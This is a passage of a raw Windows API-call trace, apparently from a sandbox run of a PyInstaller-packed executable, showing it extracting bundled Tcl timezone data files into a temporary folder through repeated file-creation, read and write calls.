lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0039.294] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.295] GetFileType (hFile=0x10c) returned 0x1 [0039.295] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.295] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.295] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.295] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.295] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.295] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.295] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.295] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.295] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.295] CloseHandle (hObject=0x10c) returned 1 [0039.295] GetLastError () returned 0x0 [0039.295] SetLastError (dwErrCode=0x0) [0039.295] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0039.295] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.295] GetFileType (hFile=0x10c) returned 0x1 [0039.295] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.295] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.295] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.295] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.295] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.295] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.295] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.295] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.295] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.296] CloseHandle (hObject=0x10c) returned 1 [0039.296] GetLastError () returned 0x0 [0039.296] SetLastError (dwErrCode=0x0) [0039.296] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America") returned 64 [0039.296] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.296] GetFileType (hFile=0x10c) returned 0x1 [0039.296] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.296] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.296] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.296] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.296] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.296] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.296] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.296] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.296] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.296] CloseHandle (hObject=0x10c) returned 1 [0039.296] GetLastError () returned 0x0 [0039.296] SetLastError (dwErrCode=0x0) [0039.296] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\New_York") returned 73 [0039.296] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\New_York" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\new_york"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0039.297] GetLastError () returned 0x2 [0039.297] SetLastError (dwErrCode=0x2) [0039.297] GetLastError () returned 0x2 [0039.297] SetLastError (dwErrCode=0x2) [0039.297] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\New_York", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\New_York", lpFilePart=0x0) returned 0x48 [0039.297] GetLastError () returned 0x2 [0039.297] SetLastError (dwErrCode=0x2) [0039.297] GetLastError () returned 0x2 [0039.297] SetLastError (dwErrCode=0x2) [0039.297] GetLastError () returned 0x2 [0039.297] SetLastError (dwErrCode=0x2) [0039.297] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\New_York") returned 73 [0039.297] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0039.297] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\New_York" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\new_york"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.299] GetFileType (hFile=0x10c) returned 0x1 [0039.299] htonl (hostlong=0xfc2a0000) returned 0x2afc [0039.299] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd00*=0x2000, lpOverlapped=0x0) returned 1 [0039.300] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.300] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xafc, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xafc, lpOverlapped=0x0) returned 1 [0039.301] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.301] CloseHandle (hObject=0x10c) returned 1 [0039.301] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0039.302] htonl (hostlong=0x30000000) returned 0x30 [0039.302] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0039.302] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0039.302] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.302] GetFileType (hFile=0x10c) returned 0x1 [0039.302] htonl (hostlong=0xf6d75900) returned 0x59d7f6 [0039.302] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5e87f6, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0039.302] htonl (hostlong=0xa060000) returned 0x60a [0039.302] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x60a) returned 0x550600 [0039.302] htonl (hostlong=0xa060000) returned 0x60a [0039.302] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.303] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0039.303] htonl (hostlong=0x9c1e0000) returned 0x1e9c [0039.303] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1e9c) returned 0x561090 [0039.303] htonl (hostlong=0xa060000) returned 0x60a [0039.303] htonl (hostlong=0x9c1e0000) returned 0x1e9c [0039.303] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562f38 [0039.303] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562f38 | out: hHeap=0x530000) returned 1 [0039.304] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0039.304] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.304] CloseHandle (hObject=0x10c) returned 1 [0039.304] GetLastError () returned 0x0 [0039.304] SetLastError (dwErrCode=0x0) [0039.304] GetLastError () returned 0x0 [0039.304] SetLastError (dwErrCode=0x0) [0039.304] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0039.304] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.304] GetFileType (hFile=0x10c) returned 0x1 [0039.304] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.304] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.304] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.304] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.304] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.304] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.304] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.304] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.304] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.304] CloseHandle (hObject=0x10c) returned 1 [0039.304] GetLastError () returned 0x0 [0039.304] SetLastError (dwErrCode=0x0) [0039.304] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0039.305] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.305] GetFileType (hFile=0x10c) returned 0x1 [0039.305] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.305] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.305] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.305] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.305] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.305] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.305] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.305] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.305] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.305] CloseHandle (hObject=0x10c) returned 1 [0039.305] GetLastError () returned 0x0 [0039.305] SetLastError (dwErrCode=0x0) [0039.305] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America") returned 64 [0039.305] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.305] GetFileType (hFile=0x10c) returned 0x1 [0039.305] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.305] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.305] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.305] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.305] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.305] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.306] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.306] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.306] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.306] CloseHandle (hObject=0x10c) returned 1 [0039.306] GetLastError () returned 0x0 [0039.306] SetLastError (dwErrCode=0x0) [0039.306] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Nipigon") returned 72 [0039.306] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Nipigon" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\nipigon"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0039.306] GetLastError () returned 0x2 [0039.306] SetLastError (dwErrCode=0x2) [0039.306] GetLastError () returned 0x2 [0039.306] SetLastError (dwErrCode=0x2) [0039.306] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Nipigon", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Nipigon", lpFilePart=0x0) returned 0x47 [0039.306] GetLastError () returned 0x2 [0039.306] SetLastError (dwErrCode=0x2) [0039.306] GetLastError () returned 0x2 [0039.306] SetLastError (dwErrCode=0x2) [0039.306] GetLastError () returned 0x2 [0039.306] SetLastError (dwErrCode=0x2) [0039.306] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Nipigon") returned 72 [0039.306] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0039.306] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Nipigon" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\nipigon"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.306] GetFileType (hFile=0x10c) returned 0x1 [0039.306] htonl (hostlong=0x9c1e0000) returned 0x1e9c [0039.307] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd00*=0x1000, lpOverlapped=0x0) returned 1 [0039.307] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.307] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xe9c, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xe9c, lpOverlapped=0x0) returned 1 [0039.308] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.308] CloseHandle (hObject=0x10c) returned 1 [0039.308] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0039.308] htonl (hostlong=0x30000000) returned 0x30 [0039.308] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0039.309] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0039.309] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.309] GetFileType (hFile=0x10c) returned 0x1 [0039.309] htonl (hostlong=0xde5900) returned 0x59de00 [0039.309] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5e8e00, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0039.309] htonl (hostlong=0x80060000) returned 0x680 [0039.309] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x680) returned 0x55e278 [0039.309] htonl (hostlong=0x80060000) returned 0x680 [0039.309] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.309] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0039.309] htonl (hostlong=0xd4200000) returned 0x20d4 [0039.309] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x20d4) returned 0x561090 [0039.309] htonl (hostlong=0x80060000) returned 0x680 [0039.309] htonl (hostlong=0xd4200000) returned 0x20d4 [0039.309] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x563170 [0039.309] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x563170 | out: hHeap=0x530000) returned 1 [0039.309] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0039.309] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.309] CloseHandle (hObject=0x10c) returned 1 [0039.309] GetLastError () returned 0x0 [0039.309] SetLastError (dwErrCode=0x0) [0039.309] GetLastError () returned 0x0 [0039.309] SetLastError (dwErrCode=0x0) [0039.309] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0039.310] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.310] GetFileType (hFile=0x10c) returned 0x1 [0039.310] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.310] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.310] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 